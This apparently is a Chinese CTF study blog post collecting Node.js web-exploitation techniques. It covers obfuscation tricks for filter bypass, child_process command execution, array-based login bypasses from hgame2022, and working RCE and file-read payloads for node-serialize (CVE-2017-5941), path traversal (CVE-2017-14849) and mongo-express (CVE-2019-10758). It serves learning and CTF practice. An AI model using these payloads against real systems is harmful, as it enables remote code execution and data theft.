前言
不知道这个坑有没有挖,不过这块可以说是知识盲区了,简单安排一下nodejs这块的知识吧。
bypass
解题时遇到各种各样的过滤总是令人头疼,为了成功bypass,我们需要掌握一定的姿势。
hex
最经典的字符串与十六进制等价:
1 | console.log("a"==="\x61"); |
unicode
js中很常见的一种编码方式,和十六进制是类似的:
1 | console.log("\u0061"==="a"); |
加号拼接
ssti中常用的加号拼接放在js中也是可以实现的:
1 | console.log("a"+"bc"==="abc"); |
base64
很经典的思路,各路语言的绕过都必须有base64:
1 | eval(Buffer.from('Z2xvYmFsLnByb2Nlc3MubWFpbk1vZHVsZS5jb25zdHJ1Y3Rvci5fbG9hZCgiY2hpbGRfcHJvY2VzcyIpLmV4ZWNTeW5jKCJjdXJsIDEyNy4wLjAuMToxMjM0Iik=','base64').toString()) |
模板字符串
和c语言中的宏定义比较类似,可以直接嵌入式表达字符串字面量:
1 | require('child_process')[`${`${`exe`}cSync`}`]('curl 127.0.0.1:1234') |
concat连接
这个也和ssti常用的一样,用concat函数直接拼接:
1 | require("child_process")["exe".concat("cSync")]("curl 127.0.0.1:1234") |
JS大小写
这是个老考点了,就是利用在toUpperCase()
中,字符ı
会转变为I
,字符ſ
会变为S
,而在toLowerCase()
中,字符İ
会转变为i
,字符K
会转变为k
。
其实js中还有两个函数方法,toLocaleUpperCase()
和toLocaleLowerCase()
,这两个函数的作用也是将字符串变为大写或小写。这两个函数与前面两个函数的区别在于,后两个函数在将字符串中所有的字母字符都将被转换为大(小)写的同时,会适应宿主环境的当前区域设置。因此如果语言规则与常规的 Unicode 大小写映射方式冲突,那么结果就会不同。
不过要利用这个漏洞,还是需要前两个函数。
命令执行
js的eval()
同样也可以执行js语句。而Node.js中的chile_process.exec调用的是/bash.sh,它是一个bash解释器,可以执行系统命令,我们构造这样如下的payload:
1 | require('child_process').execSync('ls').toString() |
如果exec或者load这类关键词被过滤,我们除了用上面第二个payload以及bypass之外,还可以用以下方法绕过:
fs模块
利用fs模块同样也可以做到读取当前目录的文件名,并且可以读取文件:1
2require('fs').readdirSync('.')
require('fs').readFileSync('flag.txt','utf-8')文件读取
如果只是做一些简单的文件读取的话,利用这两个变量即可:1
2__filename 表示当前正在执行的脚本的文件名。它将输出文件所在位置的绝对路径,且和命令行参数所指定的文件名不一定相同。如果在模块中,返回的值是模块文件的路径。
__dirname 表示当前执行脚本所在的目录。
数组利用
js中对于数组的利用也是比较多的,毕竟又能报错又能绕过的东西都是我们最喜欢的。
报错利用:
1 | function LoginController(req, res) { |
这是hgame2022第四周的一道web题,其中一个考点就是在这个登陆上。阅读代码要求我们输入密码经过大写转换后等于一串小写密码,这显然是不可能的。但是我们注意到这里的异常报错处理机制的catch部分是没有返回值的,这就会带来漏洞,和也是实战中经常会存在的问题。
官方wp给出的payload:
1 | {"username":"admin","passowrd":{"length": 16}} |
这里也可以利用数组来搞事情,我当时的解法:
1 | {"username":"admin","passowrd":['A','A','A','A','A','A','A','A','A','A','A','A','A','A','A','A']} |
绕过利用:
1 | var express = require('express'); |
数组绕过可以说道的点太多了,这里就简单的讲一个吧,要求输入的两个值长度不相等但是加上flag后的md5值相等。直接利用数组绕过,因为js中两个数组是不能直接用===判断相等的:
1 | ?a[x]=1&b[x]=2 |
原型链污染
挖坑,最近没空研究原型链污染这个nodejs中比较大的一块,先放两篇文章,之后再填:
基于原型链的继承
深入理解 JavaScript Prototype 污染攻击
ssti
这个之前在写ssti那块就讲过了,这里再记一下吧,本质上还是命令执行,不过不是基于eval()了:
1 | {{''.constructor.constructor("return global.process.mainModule.constructor._load('child_process').execSync('ls /').toString()")()}} |
CVE
接下来总结一些比较经典的关于nodejs的CVE漏洞。
nodejs反序列化漏洞(CVE-2017-5941)
前置知识:IIFE
IIFE是一个在定义时就会立即执行的js函数,一般写成如下形式:
1 | (function(){ /* code */ }()); |
参考链接:
IIFE(立即调用函数表达式
node-serialize@0.0.4中存在反序列化漏洞:
我们发现被框出的这一语句的eval参数是被括号包裹着的,如果我们构造一个形如function(){}()
的函数,在反序列化时就会被当中IIEF立即调用执行。也就是不可信输入传递到unserialize()的时候执行任意代码。
创建payload时最好使用同一模块的序列化函数:
1 | serialize = require('node-serialize'); |
为了在反序列化时让其立即调用我们构造的函数,所以我们需要在生成的序列化语句的函数后面再添加一个(),最终payload如下:
1 | {"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('ls /',function(error, stdout, stderr){console.log(stdout)});}()"} |
传递给反序列化执行命令:
1 | var serialize = require('node-serialize'); |
nodejs目录穿越漏洞(CVE-2017-14849)
影响版本:
- Node.js 8.5.0 + Express 3.19.0-3.21.2
- Node.js 8.5.0 + Express 4.11.0-4.15.5
漏洞产生的原因就是nodejs8.5.0对目录进行normalize操作时出现了逻辑错误,导致路径向上跳跃时在中间位置添加一些字母就可以时normalize返回对应文件。
例如,…/…/…/foo/…/…/…/…/etc/passwd
可以使normalize返回/etc/passwd
,但实际上正确结果应该是…/…/…/…/…/…/etc/passwd
。
这个漏洞主要应用在一些静态文件服务器上,比如,express在判断path是否超出静态目录范围时,就用到了normalize函数,上述BUG导致normalize函数返回错误结果导致绕过了检查,造成任意文件读取漏洞。
mongo-express rce(CVE-2019-10758)
关于沙盒逃逸这块可以讲得东西也很多,这里也没办法具体讲述,总之把payload贴在这里,然后放参考文章就完事了。
payload1:
1 | curl 'http://localhost:8081/checkValid' -H 'Authorization: Basic YWRtaW46cGFzcw==' --data 'document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("/Applications/Calculator.app/Contents/MacOS/Calculator")' |
payload2:
1 | node main.js |
参考文章:
cve-2019-10758 mongo-express rce 漏洞分析
Nodejs Zoombie Package RCE
hgame那题markdown的第二部分考的就是这个payload,当时都没见过nodejs然后web就差一题ak。同样也是直接放payload与参考链接,这个参考链接正是当时hgame week4 markdown online的出题人。
payload:
1 | this.__proto__.constructor.constructor('return process')().mainModule.require('child_process').execSync('calc') |
参考文章:
Nodejs Zoombie Package RCE 分析
总结
简单总结了些node.js的知识点,也算是初步入门了吧,之后面对之前摆烂没做的nodejs的题目也可以去碰下了。